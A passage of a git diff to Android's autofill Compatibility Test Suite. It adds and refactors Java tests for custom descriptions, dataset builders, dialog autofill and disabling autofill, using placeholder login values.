.Builder(usernameId, Pattern.compile("(.*)"), "$1")
@@ -208,8 +431,7 @@
@Test
public void applyCharSequenceTransformationToImageView() throws Exception {
testCustomDescription((usernameId, passwordId) -> {
- RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
CharSequenceTransformation trans = new CharSequenceTransformation
.Builder(usernameId, Pattern.compile("(.*)"), "$1")
@@ -232,8 +454,7 @@
final CharSequenceTransformation secondTrans = new CharSequenceTransformation
.Builder(usernameId, Pattern.compile("(MARCO)"), "POLO")
.build();
- final RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
- R.layout.two_horizontal_text_fields);
+ RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
final CustomDescription customDescription = new CustomDescription.Builder(presentation)
.addChild(R.id.first, firstTrans)
.addChild(R.id.first, secondTrans)
@@ -256,7 +477,7 @@
mActivity.tapLogin();
final String expectedText = matchFirst ? "polo" : "POLO";
- assertSaveUiWithCustomDescriptionIsShown(expectedText);
+ assertSaveUiIsShownWithTwoLines(expectedText);
}
@Test
@@ -269,6 +490,10 @@
multipleTransformationsForSameFieldTest(false);
}
+ private RemoteViews newTemplate(int resourceId) {
+ return new RemoteViews(getContext().getPackageName(), resourceId);
+ }
+
private void assertSaveUiWithoutCustomDescriptionIsShown() {
// First make sure the UI is shown...
final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
@@ -290,10 +515,59 @@
return saveUi;
}
- private void assertSaveUiWithCustomDescriptionIsShown(String expectedText) {
+ /**
+ * Asserts the save ui only has {@code first} and {@code second} lines (i.e, {@code third} is
+ * invisible), but only {@code first} has text.
+ */
+ private UiObject2 assertSaveUiIsShownWithTwoLines(String expectedTextOnFirst) {
+ return assertSaveUiWithLinesIsShown(
+ (line1) -> assertWithMessage("Wrong text for child with id 'first'")
+ .that(line1.getText()).isEqualTo(expectedTextOnFirst),
+ (line2) -> assertWithMessage("Wrong text for child with id 'second'")
+ .that(line2.getText()).isNull(),
+ null);
+ }
+
+ /**
+ * Asserts the save ui only has {@code first} line (i.e., {@code second} and {@code third} are
+ * invisible).
+ */
+ private void assertSaveUiIsShownWithJustOneLine(String expectedTextOnFirst) {
+ assertSaveUiWithLinesIsShown(
+ (line1) -> assertWithMessage("Wrong text for child with id 'first'")
+ .that(line1.getText()).isEqualTo(expectedTextOnFirst),
+ null, null);
+ }
+
+ private UiObject2 assertSaveUiWithLinesIsShown(@Nullable Visitor<UiObject2> line1Visitor,
+ @Nullable Visitor<UiObject2> line2Visitor, @Nullable Visitor<UiObject2> line3Visitor) {
final UiObject2 saveUi = assertSaveUiWithCustomDescriptionIsShown();
- assertWithMessage("didn't find '%s' on SaveUI (%s)", expectedText,
- sUiBot.getChildrenAsText(saveUi))
- .that(saveUi.findObject(By.text(expectedText))).isNotNull();
+ assertSaveUiChild(saveUi, "first", line1Visitor);
+ assertSaveUiChild(saveUi, "second", line2Visitor);
+ assertSaveUiChild(saveUi, "third", line3Visitor);
+ return saveUi;
+ }
+
+ /**
+ * Asserts the contents of save UI child element.
+ *
+ * @param saveUi save UI
+ * @param childId resource id of the child
+ * @param assertion if {@code null}, asserts the child does not exist; otherwise, asserts the
+ * child with it.
+ */
+ private void assertSaveUiChild(@NonNull UiObject2 saveUi, @NonNull String childId,
+ @Nullable Visitor<UiObject2> assertion) {
+ final UiObject2 child = saveUi.findObject(By.res(mPackageName, childId));
+ if (assertion != null) {
+ assertWithMessage("Didn't find child with id '%s'", childId).that(child).isNotNull();
+ try {
+ assertion.visit(child);
+ } catch (Throwable t) {
+ throw new AssertionError("Error on child '" + childId + "'", t);
+ }
+ } else {
+ assertWithMessage("Shouldn't find child with id '%s'", childId).that(child).isNull();
+ }
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
new file mode 100644
index 0000000..2a50b6e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionUnitTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.InternalValidator;
+import android.service.autofill.Transformation;
+import android.service.autofill.Validator;
+import android.support.test.runner.AndroidJUnit4;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CustomDescriptionUnitTest {
+
+ private final CustomDescription.Builder mBuilder =
+ new CustomDescription.Builder(mock(RemoteViews.class));
+ private final BatchUpdates mValidUpdate =
+ new BatchUpdates.Builder().updateTemplate(mock(RemoteViews.class)).build();
+ private final Validator mValidCondition = mock(InternalValidator.class);
+
+ @Test
+ public void testNullConstructor() {
+ assertThrows(NullPointerException.class, () -> new CustomDescription.Builder(null));
+ }
+
+ @Test
+ public void testAddChild_null() {
+ assertThrows(IllegalArgumentException.class, () -> mBuilder.addChild(42, null));
+ }
+
+ @Test
+ public void testAddChild_invalidTransformation() {
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.addChild(42, mock(Transformation.class)));
+ }
+
+ @Test
+ public void testBatchUpdate_nullCondition() {
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.batchUpdate(null, mValidUpdate));
+ }
+
+ @Test
+ public void testBatchUpdate_invalidCondition() {
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.batchUpdate(mock(Validator.class), mValidUpdate));
+ }
+
+ @Test
+ public void testBatchUpdate_nullUpdates() {
+ assertThrows(NullPointerException.class,
+ () -> mBuilder.batchUpdate(mValidCondition, null));
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
index 33f0943..84c4a6f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -192,6 +192,9 @@
saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction.LAUNCH_NEW_ACTIVITY);
}
+ protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception;
+
@Test
public final void testTapLink_launchTrampolineActivityThenTapBackAndStartNewSession()
throws Exception {
@@ -201,6 +204,18 @@
protected abstract void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
throws Exception;
+ @Test
+ public final void testTapLinkAfterUpdateAppliedToLinkView() throws Exception {
+ tapLinkAfterUpdateAppliedTest(true);
+ }
+
+ @Test
+ public final void testTapLinkAfterUpdateAppliedToAnotherView() throws Exception {
+ tapLinkAfterUpdateAppliedTest(false);
+ }
+
+ protected abstract void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception;
+
enum PostSaveLinkTappedAction {
TAP_BACK_BUTTON,
ROTATE_THEN_TAP_BACK_BUTTON,
@@ -213,41 +228,56 @@
TAP_YES_ON_SAVE_UI
}
- protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
- throws Exception;
-
protected final void startActivity(Class<?> clazz) {
mContext.startActivity(new Intent(mContext, clazz));
}
- protected final CustomDescription newCustomDescription(
+ protected RemoteViews newTemplate() {
+ final RemoteViews presentation = new RemoteViews(mPackageName,
+ R.layout.custom_description_with_link);
+ return presentation;
+ }
+
+ protected final CustomDescription.Builder newCustomDescriptionBuilder(
Class<? extends Activity> activityClass) {
final Intent intent = new Intent(mContext, activityClass);
intent.setFlags(Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
- return newCustomDescription(intent);
+ return newCustomDescriptionBuilder(intent);
+ }
+
+ protected final CustomDescription newCustomDescription(
+ Class<? extends Activity> activityClass) {
+ return newCustomDescriptionBuilder(activityClass).build();
+ }
+
+ protected final CustomDescription.Builder newCustomDescriptionBuilder(Intent intent) {
+ final RemoteViews presentation = newTemplate();
+ final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+ presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
+ return new CustomDescription.Builder(presentation);
}
protected final CustomDescription newCustomDescription(Intent intent) {
- final RemoteViews presentation = new RemoteViews(mPackageName,
- R.layout.custom_description_with_link);
- final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
- presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
- return new CustomDescription.Builder(presentation).build();
+ return newCustomDescriptionBuilder(intent).build();
}
protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType) {
+ return assertSaveUiWithLinkIsShown(saveType, "DON'T TAP ME!");
+ }
+
+ protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType, String expectedText) {
// First make sure the UI is shown...
final UiObject2 saveUi = sUiBot.assertSaveShowing(saveType);
// Then make sure it does have the custom view with link on it...
- getLink(saveUi);
+ final UiObject2 link = getLink(saveUi);
+ assertThat(link.getText()).isEqualTo(expectedText);
return saveUi;
}
protected final UiObject2 getLink(final UiObject2 container) {
- final UiObject2 button = container.findObject(By.res(mPackageName, ID_LINK));
- assertThat(button).isNotNull();
- assertThat(button.getText()).isEqualTo("DON'T TAP ME!");
- return button;
+ final UiObject2 link = container.findObject(By.res(mPackageName, ID_LINK));
+ assertThat(link).isNotNull();
+ return link;
}
protected final void tapSaveUiLink(UiObject2 saveUi) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
new file mode 100644
index 0000000..741fdda
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.Dataset;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DatasetTest {
+
+ private final AutofillId mId = new AutofillId(42);
+ private final AutofillValue mValue = AutofillValue.forText("ValuableLikeGold");
+ private final Pattern mFilter = Pattern.compile("whatever");
+
+ private final RemoteViews mPresentation = mock(RemoteViews.class);
+
+ @Test
+ public void testBuilder_nullPresentation() {
+ assertThrows(NullPointerException.class, () -> new Dataset.Builder(null));
+ }
+
+ @Test
+ public void testBuilder_setValueNullId() {
+ final Dataset.Builder builder = new Dataset.Builder(mPresentation);
+ assertThrows(NullPointerException.class, () -> builder.setValue(null, mValue));
+ }
+
+ @Test
+ public void testBuilder_setValueWithoutPresentation() {
+ // Just assert that it builds without throwing an exception.
+ assertThat(new Dataset.Builder().setValue(mId, mValue).build()).isNotNull();
+ }
+
+ @Test
+ public void testBuilder_setValueWithNullPresentation() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+ (RemoteViews) null));
+ }
+
+ @Test
+ public void testBuilder_setFilteredValueWithNullFilter() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+ (Pattern) null));
+ }
+
+ @Test
+ public void testBuilder_setFilteredValueWithPresentationNullFilter() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, null,
+ mPresentation));
+ }
+
+ @Test
+ public void testBuilder_setFilteredValueWithPresentationNullPresentation() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
+ null));
+ }
+
+ @Test
+ public void testBuilder_setFilteredValueWithoutPresentation() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue, mFilter));
+ }
+
+ @Test
+ public void testBuild_noValues() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ assertThrows(IllegalStateException.class, () -> builder.build());
+ }
+
+ @Test
+ public void testNoMoreInteractionsAfterBuild() {
+ final Dataset.Builder builder = new Dataset.Builder();
+ builder.setValue(mId, mValue, mPresentation);
+ assertThat(builder.build()).isNotNull();
+ assertThrows(IllegalStateException.class, () -> builder.build());
+ assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue));
+ assertThrows(IllegalStateException.class,
+ () -> builder.setValue(mId, mValue, mPresentation));
+ assertThrows(IllegalStateException.class,
+ () -> builder.setValue(mId, mValue, mFilter));
+ assertThrows(IllegalStateException.class,
+ () -> builder.setValue(mId, mValue, mFilter, mPresentation));
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java
new file mode 100644
index 0000000..3f7664d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.AlertDialog;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Display;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+import android.widget.EditText;
+
+/**
+ * Activity that has buttons to launch dialogs that should then be autofillable.
+ */
+public class DialogLauncherActivity extends AbstractAutoFillActivity {
+
+ private static final String TAG = "DialogLauncherActivity";
+
+ private FillExpectation mExpectation;
+ private LoginDialog mDialog;
+ Button mLaunchButton;
+
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.dialog_launcher_activity);
+ mLaunchButton = findViewById(R.id.launch_button);
+ mDialog = new LoginDialog(this);
+ mLaunchButton.setOnClickListener((v) -> mDialog.show());
+ }
+
+ void onUsername(Visitor<EditText> v) {
+ syncRunOnUiThread(() -> v.visit(mDialog.mUsernameEditText));
+ }
+
+ void launchDialog(UiBot uiBot) {
+ syncRunOnUiThread(() -> mLaunchButton.performClick());
+ // TODO: should assert by id, but it's not working
+ uiBot.assertShownByText("Username");
+ }
+
+ void maximizeDialog() {
+ final WindowManager wm = getWindowManager();
+ final Display display = wm.getDefaultDisplay();
+ final DisplayMetrics metrics = new DisplayMetrics();
+ display.getMetrics(metrics);
+ syncRunOnUiThread(
+ () -> mDialog.getWindow().setLayout(metrics.widthPixels, metrics.heightPixels));
+ }
+
+ void expectAutofill(String username, String password) {
+ assertWithMessage("must call launchDialog first").that(mDialog.mUsernameEditText)
+ .isNotNull();
+ mExpectation = new FillExpectation(username, password);
+ mDialog.mUsernameEditText.addTextChangedListener(mExpectation.mCcUsernameWatcher);
+ mDialog.mPasswordEditText.addTextChangedListener(mExpectation.mCcPasswordWatcher);
+ }
+
+ void assertAutofilled() throws Exception {
+ assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+ if (mExpectation.mCcUsernameWatcher != null) {
+ mExpectation.mCcUsernameWatcher.assertAutoFilled();
+ }
+ if (mExpectation.mCcPasswordWatcher != null) {
+ mExpectation.mCcPasswordWatcher.assertAutoFilled();
+ }
+ }
+
+ private final class FillExpectation {
+ private final OneTimeTextWatcher mCcUsernameWatcher;
+ private final OneTimeTextWatcher mCcPasswordWatcher;
+
+ private FillExpectation(String username, String password) {
+ mCcUsernameWatcher = username == null ? null
+ : new OneTimeTextWatcher("username", mDialog.mUsernameEditText, username);
+ mCcPasswordWatcher = password == null ? null
+ : new OneTimeTextWatcher("password", mDialog.mPasswordEditText, password);
+ }
+
+ private FillExpectation(String username) {
+ this(username, null);
+ }
+ }
+
+ public final class LoginDialog extends AlertDialog {
+
+ private EditText mUsernameEditText;
+ private EditText mPasswordEditText;
+
+ public LoginDialog(Context context) {
+ super(context);
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.login_activity);
+ mUsernameEditText = findViewById(R.id.username);
+ mPasswordEditText = findViewById(R.id.password);
+ }
+
+ // TODO(b/68816440): temporary hack to make sure tests pass - everything below should be
+ // removed
+ private IBinder mToken;
+
+ @Override
+ public void onAttachedToWindow() {
+ super.onAttachedToWindow();
+
+ mToken = DialogLauncherActivity.this.getWindow().getAttributes().token;
+ Log.v(TAG, "onAttachedToWindow(): " + mToken);
+ }
+
+
+ @Override
+ public void onWindowAttributesChanged(LayoutParams params) {
+ Log.v(TAG, "onWindowAttributesChanged: p.token=" + params.token + "hack=" + mToken);
+ params.token = mToken;
+
+ super.onWindowAttributesChanged(params);
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java
new file mode 100644
index 0000000..269f7bf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.view.View;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+public class DialogLauncherActivityTest extends AutoFillServiceTestCase {
+
+ @Rule
+ public final AutofillActivityTestRule<DialogLauncherActivity> mActivityRule =
+ new AutofillActivityTestRule<DialogLauncherActivity>(DialogLauncherActivity.class);
+
+ private DialogLauncherActivity mActivity;
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @Test
+ public void testAutofill_noDatasets() throws Exception {
+ autofillNoDatasetsTest(false);
+ }
+
+ @Test
+ public void testAutofill_noDatasets_afterResizing() throws Exception {
+ autofillNoDatasetsTest(true);
+ }
+
+ private void autofillNoDatasetsTest(boolean resize) throws Exception {
+ enableService();
+ mActivity.launchDialog(sUiBot);
+
+ if (resize) {
+ mActivity.maximizeDialog();
+ }
+
+ // Set expectations.
+ sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+ final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+ // Asserts results.
+ try {
+ sUiBot.assertNoDatasets();
+ // Make sure nodes were properly generated.
+ assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
+ assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
+ } catch (AssertionError e) {
+ Helper.dumpStructure("D'OH!", fillRequest.structure);
+ throw e;
+ }
+ }
+
+ @Test
+ public void testAutofill_oneDataset() throws Exception {
+ autofillOneDatasetTest(false);
+ }
+
+ @Test
+ public void testAutofill_oneDataset_afterResizing() throws Exception {
+ autofillOneDatasetTest(true);
+ }
+
+ private void autofillOneDatasetTest(boolean resize) throws Exception {
+ enableService();
+ mActivity.launchDialog(sUiBot);
+
+ if (resize) {
+ mActivity.maximizeDialog();
+ }
+
+ // Set expectations.
+ mActivity.expectAutofill("dude", "sweet");
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+
+ // Trigger autofill.
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Asserts results.
+ sUiBot.selectDataset("The Dude");
+ mActivity.assertAutofilled();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
new file mode 100644
index 0000000..afffa56
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
@@ -0,0 +1,330 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.content.Intent;
+import android.os.SystemClock;
+import android.service.autofill.FillResponse;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Tests for the {@link android.service.autofill.FillResponse.Builder#disableAutofill(long)} API.
+ */
+public class DisableAutofillTest extends AutoFillServiceTestCase {
+
+ private static final String TAG = "DisableAutofillTest";
+
+ @Before
+ public void preTestCleanup() {
+ Helper.preTestCleanup();
+ }
+
+ private SimpleSaveActivity startSimpleSaveActivity() {
+ final Intent intent = new Intent(mContext, SimpleSaveActivity.class);
+ mContext.startActivity(intent);
+ sUiBot.assertShownByRelativeId(SimpleSaveActivity.ID_LABEL);
+ return SimpleSaveActivity.getInstance();
+ }
+
+ private PreSimpleSaveActivity startPreSimpleSaveActivity() {
+ final Intent intent = new Intent(mContext, PreSimpleSaveActivity.class);
+ mContext.startActivity(intent);
+ sUiBot.assertShownByRelativeId(PreSimpleSaveActivity.ID_PRE_LABEL);
+ return PreSimpleSaveActivity.getInstance();
+ }
+
+ /**
+ * Defines what to do after the activity being tested is launched.
+ */
+ enum PostLaunchAction {
+ /**
+ * Used when the service disables autofill in the fill response for this activty. As such:
+ *
+ * <ol>
+ * <li>There should be a fill request on {@code sReplier}.
+ * <li>The first UI focus should generate a
+ * {@link android.view.autofill.AutofillManager.AutofillCallback#EVENT_INPUT_UNAVAILABLE}
+ * event.
+ * <li>Subsequent UI focus should not trigger events.
+ * </ol>
+ */
+ ASSERT_DISABLING,
+
+ /**
+ * Used when the service already disabled autofill prior to launching activty. As such:
+ *
+ * <ol>
+ * <li>There should be no fill request on {@code sReplier}.
+ * <li>There should be no callback calls when UI is focused
+ * </ol>
+ */
+ ASSERT_DISABLED,
+
+ /**
+ * Used when autofill is enabled, so it tries to autofill the activity.
+ */
+ ASSERT_ENABLED_AND_AUTOFILL
+ }
+
+ private void launchSimpleSaveActivity(PostLaunchAction action) throws Exception {
+ Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+ sReplier.assertNumberUnhandledFillRequests(0);
+
+ if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(SimpleSaveActivity.ID_INPUT, "id")
+ .setField(SimpleSaveActivity.ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ }
+
+ final SimpleSaveActivity activity = startSimpleSaveActivity();
+ final MyAutofillCallback callback = activity.registerCallback();
+
+ try {
+ // Trigger autofill
+ activity.syncRunOnUiThread(() -> activity.mInput.requestFocus());
+
+ if (action == PostLaunchAction.ASSERT_DISABLING) {
+ callback.assertUiUnavailableEvent(activity.mInput);
+ sReplier.getNextFillRequest();
+
+ // Make sure other fields are not triggered.
+ activity.syncRunOnUiThread(() -> activity.mPassword.requestFocus());
+ callback.assertNotCalled();
+ } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+ // Make sure forced requests are ignored as well.
+ activity.getAutofillManager().requestAutofill(activity.mInput);
+ callback.assertNotCalled();
+ } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ callback.assertUiShownEvent(activity.mInput);
+ sReplier.getNextFillRequest();
+ final SimpleSaveActivity.FillExpectation autofillExpectation =
+ activity.expectAutoFill("id", "pass");
+ sUiBot.selectDataset("YO");
+ autofillExpectation.assertAutoFilled();
+ }
+
+ // Asserts isEnabled() status.
+ if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ assertThat(activity.getAutofillManager().isEnabled()).isTrue();
+ } else {
+ assertThat(activity.getAutofillManager().isEnabled()).isFalse();
+ }
+ } finally {
+ activity.unregisterCallback();
+ activity.finish();
+ }
+ sReplier.assertNumberUnhandledFillRequests(0);
+ }
+
+ private void launchPreSimpleSaveActivity(PostLaunchAction action) throws Exception {
+ Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+ sReplier.assertNumberUnhandledFillRequests(0);
+
+ if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(PreSimpleSaveActivity.ID_PRE_INPUT, "yo")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+ }
+
+ final PreSimpleSaveActivity activity = startPreSimpleSaveActivity();
+ final MyAutofillCallback callback = activity.registerCallback();
+
+ try {
+ // Trigger autofill
+ activity.syncRunOnUiThread(() -> activity.mPreInput.requestFocus());
+
+ if (action == PostLaunchAction.ASSERT_DISABLING) {
+ callback.assertUiUnavailableEvent(activity.mPreInput);
+ sReplier.getNextFillRequest();
+ } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+ activity.getAutofillManager().requestAutofill(activity.mPreInput);
+ callback.assertNotCalled();
+ } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ callback.assertUiShownEvent(activity.mPreInput);
+ sReplier.getNextFillRequest();
+ final PreSimpleSaveActivity.FillExpectation autofillExpectation =
+ activity.expectAutoFill("yo");
+ sUiBot.selectDataset("YO");
+ autofillExpectation.assertAutoFilled();
+ }
+
+ // Asserts isEnabled() status.
+ if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+ assertThat(activity.getAutofillManager().isEnabled()).isTrue();
+ } else {
+ assertThat(activity.getAutofillManager().isEnabled()).isFalse();
+ }
+ } finally {
+ activity.unregisterCallback();
+ activity.finish();
+ }
+ sReplier.assertNumberUnhandledFillRequests(0);
+ }
+
+ @Test
+ public void testDisableApp() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(
+ new CannedFillResponse.Builder().disableAutofill(Long.MAX_VALUE).build());
+
+ // Trigger autofill for the first time.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+ // Launch activity again.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+ // Now try it using a different activity - should be disabled too.
+ launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+ }
+
+ @Test
+ public void testDisableAppThenWaitToReenableIt() throws Exception {
+ // Set service.
+ enableService();
+
+ // Need to wait the equivalent of launching 2 activities, plus some extra legging room
+ final long duration = 2 * Helper.ACTIVITY_RESURRECTION_MS + 500;
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder().disableAutofill(duration).build());
+
+ // Trigger autofill for the first time.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+ // Launch activity again.
+ launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
